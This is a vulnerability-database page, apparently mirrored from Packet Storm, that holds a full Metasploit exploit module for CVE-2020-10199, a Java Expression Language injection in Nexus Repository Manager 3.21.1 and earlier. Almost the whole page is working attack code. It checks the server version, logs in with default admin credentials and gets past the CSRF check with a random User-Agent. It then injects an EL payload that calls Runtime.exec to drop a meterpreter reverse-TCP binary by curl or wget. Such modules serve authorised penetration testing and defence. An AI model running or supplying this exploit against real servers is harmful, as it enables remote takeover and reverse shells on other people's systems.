Lucene search
K

Nexus Repository Manager 3.21.1-01 Remote Code Execution

🗓️ 16 Apr 2020 00:00:00Reported by Alvaro MunozType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 247 Views

Nexus Repository Manager Java EL Injection RCE - Remote Code Execution as Nexus User

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Nexus Repository Manager Java EL Injection RCE',  
'Description' => %q{  
This module exploits a Java Expression Language (EL) injection in Nexus  
Repository Manager versions up to and including 3.21.1 to execute code  
as the Nexus user. Tested against 3.21.1-01.  
},  
'Author' => [  
'Alvaro Muñoz', # Discovery  
'wvu' # Module  
],  
'References' => [  
['CVE', '2020-10199'],  
['URL', 'https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype'],  
['URL', 'https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31']  
],  
'DisclosureDate' => '2020-03-31', # Vendor advisory  
'License' => MSF_LICENSE,  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Privileged' => false,  
'Targets' => [['Nexus Repository Manager <= 3.21.1', {}]],  
'DefaultTarget' => 0,  
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'},  
'CmdStagerFlavor' => %i[curl wget],  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
))  
  
register_options([  
Opt::RPORT(8081),  
OptString.new('TARGETURI', [true, 'Base path', '/']),  
OptString.new('USERNAME', [true, 'Nexus username', 'admin']),  
OptString.new('PASSWORD', [true, 'Nexus password', 'admin'])  
])  
end  
  
def post_auth?  
# Pre-auth RCE? https://twitter.com/iamnoooob/status/1246182773427240967  
true  
end  
  
# Send a GET / request to the server, check the response for a Server header  
# containing the Nexus version, and then check if it's a vulnerable version  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path)  
)  
  
unless res  
return CheckCode::Unknown('Target did not respond to check request.')  
end  
  
unless res.headers['Server']  
return CheckCode::Unknown('Target did not respond with Server header.')  
end  
  
# Example Server header:  
# Server: Nexus/3.21.1-01 (OSS)  
version = res.headers['Server'].scan(%r{^Nexus/([\d.-]+)}).flatten.first  
  
unless version  
return CheckCode::Unknown('Target did not respond with Nexus version.')  
end  
  
if Gem::Version.new(version) <= Gem::Version.new('3.21.1')  
return CheckCode::Appears("Nexus #{version} is a vulnerable version.")  
end  
  
CheckCode::Safe("Nexus #{version} is NOT a vulnerable version.")  
end  
  
def exploit  
# NOTE: Automatic check is implemented by the AutoCheck mixin  
super  
  
print_status("Executing command stager for #{datastore['PAYLOAD']}")  
  
# This will drop a binary payload to disk and execute it!  
execute_cmdstager(  
noconcat: true,  
cookie: login(datastore['USERNAME'], datastore['PASSWORD'])  
)  
end  
  
def login(username, password)  
print_status("Logging in with #{username}:#{password}")  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path,  
'/service/rapture/session'),  
'vars_post' => {  
'username' => Rex::Text.encode_base64(username),  
'password' => Rex::Text.encode_base64(password)  
},  
'partial' => true # XXX: Return partial response despite timeout  
}, 3.5)  
  
unless res  
fail_with(Failure::Unknown, 'Target did not respond to login request')  
end  
  
cookie = res.get_cookies  
  
unless res.code == 204 && cookie.match(/NXSESSIONID=[\h-]+/)  
fail_with(Failure::NoAccess, 'Could not log in with specified creds')  
end  
  
print_good("Logged in with #{cookie}")  
cookie  
end  
  
# This is defined so that CmdStager can use it!  
def execute_command(cmd, opts = {})  
vprint_status("Executing command: #{cmd}")  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path,  
'/service/rest/beta/repositories/go/group'),  
# HACK: Bypass CSRF token with random User-Agent header  
'agent' => rand_text_english(8..42),  
'cookie' => opts[:cookie],  
'ctype' => 'application/json',  
'data' => json_payload(cmd)  
)  
  
unless res  
fail_with(Failure::Unknown, 'Target did not respond to payload request')  
end  
  
unless res.code == 400 && res.body.match(/java\.lang\.UNIXProcess@\h+/)  
fail_with(Failure::PayloadFailed, "Could not execute command: #{cmd}")  
end  
  
print_good("Successfully executed command: #{cmd}")  
end  
  
# PoC based off API docs for /service/rest/beta/repositories/go/group:  
# http://localhost:8081/#admin/system/api  
def json_payload(cmd)  
{  
'name' => 'internal',  
'online' => true,  
'storage' => {  
'blobStoreName' => 'default',  
'strictContentTypeValidation' => true  
},  
'group' => {  
# XXX: memberNames has to be an array, but the API example was a string  
'memberNames' => [el_payload(cmd)]  
}  
}.to_json  
end  
  
# Helpful resource from which I borrowed the EL payload:  
# https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf  
def el_payload(cmd)  
# HACK: Format our EL expression nicely and then strip introduced whitespace  
el = <<~EOF.gsub(/\s+/, '')  
${  
"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke(  
"".getClass().forName("java.lang.Runtime")  
).exec("PATCH_ME")  
}  
EOF  
  
# Patch in our command, escaping any double quotes  
el.sub('PATCH_ME', cmd.gsub('"', '\\"'))  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation